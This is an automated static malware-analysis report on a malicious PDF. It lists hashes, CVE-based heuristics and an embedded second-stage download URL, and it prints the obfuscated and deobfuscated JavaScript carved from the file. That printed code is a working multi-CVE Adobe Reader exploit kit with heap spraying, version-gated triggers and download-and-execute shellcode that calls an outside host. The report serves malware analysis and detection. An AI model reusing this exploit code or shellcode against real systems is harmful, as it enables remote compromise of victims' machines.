Malicious PDF — malware analysis report

Static analysis result for SHA-256 75d2b095f7ca528b…

MALICIOUS

PDF

12.6 KB
MD5: d5b6d3bf55e2ccc5f638af625c9625aa SHA-1: 3bd609b66a38068f478dc8de3947b256b7e75c86 SHA-256: 75d2b095f7ca528b8062427fd02706a6b36957593d4fbf43c9d6f30df13d98cc
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The recovered JavaScript shellcode contains an embedded URL, http://66.199.229.50/w.php?f=28&e=5, which is likely used to download a secondary payload. The ML classifier also flagged this PDF with a very high probability of being malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=28&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js
583151bc4e11a99fb117c7b61c252ae991fea29b44c83c1bd67a82ff4169589f		 pdf-javascript-stream PDF /JS object 76 at offset 0x369 11827 bytes
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(5,51,59,63,59,26,8,26,2,2,40,3,66,64,29,26,69,19,50,65,75,75,69,19,51,15,63,36,69,19,50,25,51,15,69,19,42,25,63,36,69,19,63,47,65,36,69,19,65,65,25,51,69,19,75,36,15,33,69,19,36,33,50,40,69,19,50,40,65,33,69,19,33,15,36,33,69,19,42,33,50,40,69,19,25,75,8,15,69,19,42,75,50,40,69,19,65,65,33,50,69,19,75,75,10,40,69,19,25,63,50,40,69,19,33,65,65,15,69,19,65,65,42,36,69,19,50,8,49,15,69,19,8,25,63,63,69,19,51,51,8,33,69,19,40,50,51,51,69,19,36,33,50,40,69,19,15,65,65,33,69,19,65,47,36,75,69,19,42,25,33,75,69,19,50,42,51,40,69,19,49,36,65,36,69,19,63,36,50,25,69,19,25,8,42,25,69,19,63,40,63,47,69,19,25,8,36,15,69,19,50,40,25,75,69,19,65,15,42,25,69,19,42,36,50,40,69,19,42,50,65,25,69,19,51,25,33,65,69,19,50,40,25,75,69,19,49,33,42,75,69,19,51,25,33,65,69,19,15,47,65,65,69,19,36,8,36,47,69,19,68,10,51,15,69,19,15,25,33,65,69,19,10,40,65,65,69,19,40,63,33,51,69,19,65,50,8,33,69,19,42,36,51,49,69,19,15,8,33,50,69,19,33,10,15,40,69,19,10,68,33,65,69,19,63,40,36,33,69,19,65,40,51,8,69,19,42,25,8,51,69,19,25,63,63,75,69,19,25,63,50,40,69,19,33,65,49,36,69,19,75,75,10,10,69,19,33,15,50,40,69,19,50,10,36,40,69,19,63,15,36,75,69,19,25,36,51,51,69,19,33,15,49,36,69,19,10,50,50,40,69,19,10,10,33,65,69,19,33,36,50,40,69,19,33,65,50,40,69,19,68,40,15,25,69,19,25,47,25,63,69,19,63,40,15,65,69,19,68,10,25,65,69,19,75,50,50,40,69,19,50,33,49,33,69,19,33,15,42,10,69,19,42,36,65,65,69,19,47,75,33,65,69,19,51,65,63,40,69,19,75,50,50,40,69,19,50,40,33,50,69,19,75,68,51,42,69,19,25,47,33,25,69,19,47,50,63,50,69,19,51,51,51,51,69,19,63,49,51,51,69,19,63,50,51,47,69,19,33,33,33,33,69,19,33,33,33,33,69,19,25,33,25,50,69,19,36,33,75,68,69,19,51,51,75,50,69,19,33,33,33,33,69,19,25,33,33,33,69,19,15,33,50,65,69,19,25,33,8,47,69,19,50,40,25,25,69,19,50,40,63,15,69,19,8,33,25,63,69,19,15,65,50,65,69,19,51,51,33,25,69,19,75,50,63,65,69,19,75,63,75,51,69,19,33,33,33,33,69,19,42,25,75,50,69,19,75,15,42,49,69,19,25,36,75,10,69,19,8,75,51,51,69,19,15,36,50,65,69,19,50,40,33,50,69,19,63,50,63,50,69,19,51,51,75,8,69,19,51,51,51,51,69,19,33,49,63,40,69,19,42,49,63,40,69,19,63,15,50,8,69,19,33,8,33,36,69,19,33,33,33,33,69,19,25,15,50,10,69,19,33,15,49,36,69,19,33,36,15,42,69,19,42,49,49,36,69,19,75,42,75,25,69,19,15,42,42,65,69,19,49,36,36,36,69,19,42,75,33,36,69,19,65,65,42,49,69,19,15,42,65,49,69,19,49,36,36,36,69,19,49,33,33,50,69,19,42,65,49,10,69,19,25,65,49,33,69,19,51,50,75,50,69,19,33,33,33,33,69,19,51,51,33,33,69,19,33,15,25,75,69,19,63,50,50,40,69,19,15,47,65,65,69,19,15,42,25,8,69,19,8,10,36,36,69,19,42,42,33,33,69,19,75,49,42,33,69,19,15,42,42,36,69,19,8,10,36,36,69,19,49,63,33,25,69,19,75,15,75,36,69,19,15,75,75,15,69,19,8,10,36,36,69,19,33,33,33,47,69,19,50,68,25,47,69,19,33,36,15,8,69,19,50,50,65,33,69,19,8,10,36,36,69,19,36,8,33,36,69,19,75,68,25,8,69,19,75,68,33,33,69,19,25,65,33,33,69,19,75,68,25,42,69,19,51,51,33,33,69,19,8,36,25,75,69,19,15,33,50,25,69,19,8,75,42,25,69,19,33,33,75,68,69,19,51,51,25,65,69,19,33,36,25,75,69,19,33,33,75,68,69,19,63,40,50,65,69,19,25,65,33,15,69,19,25,75,51,51,69,19,50,65,33,36,69,19,33,15,15,65,69,19,33,49,63,40,69,19,8,65,63,40,69,19,50,33,36,42,69,19,33,33,65,51,69,19,51,68,42,25,69,19,50,33,36,42,69,19,33,33,65,51,69,19,15,36,42,25,69,19,33,33,75,68,69,19,51,63,75,68,69,19,25,75,51,51,69,19,63,50,33,50,69,19,51,63,47,15,69,19,51,51,51,51,69,19,36,63,50,63,69,19,63,15,33,63,69,19,51,63,47,50,69,19,33,63,50,68,69,19,75,51,50,47,69,19,40,10,33,8,69,19,15,68,65,65,69,19,25,40,50,68,69,19,15,75,8,40,69,19,42,47,36,75,69,19,8,68,65,75,69,19,42,33,49,51,69,19,42,36,75,50,69,19,42,33,42,36,69,19,49,51,65,68,69,19,65,75,49,51,69,19,49,63,65,75,69,19,65,47,65,8,69,19,49,63,65,47,69,19,65,49,65,49,69,19,49,63,65,47,69,19,65,33,65,25,69,19,42,42,49,51,69,19,42,33,49,63,69,19,42,33,75,50,69,19,75,75,65,51,69,19,65,49,65,10,69,19,49,75,65,50,69,19,65,10,75,25,69,19,33,33,65,25,69,19,33,33,33,33,26,38,51,19,43,15,32,5,35,43,44,63,28,60,58,59,58,68,21,53,20,2,73,0,55,5,71,63,59,58,68,37,71,63,43,64,32,55,41,49,57,53,20,2,73,58,68,45,29,58,68,38,62,58,68,29,58,68,37,66,19,40,66,32,58,5,43,64,59,3
... (truncated)
generic_stage_recovery_000.js
0016c1dcf30df895ca0dbd0e4e71b1901ce787ccaa7d53cf21e286c2d9e23777		 deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u323d%u2638%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js
41ede5e6b5c77fb029bc56c88ce9d9e02dbf3d4ea64d71778add120f8c406ffc		 deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u323d%u2638%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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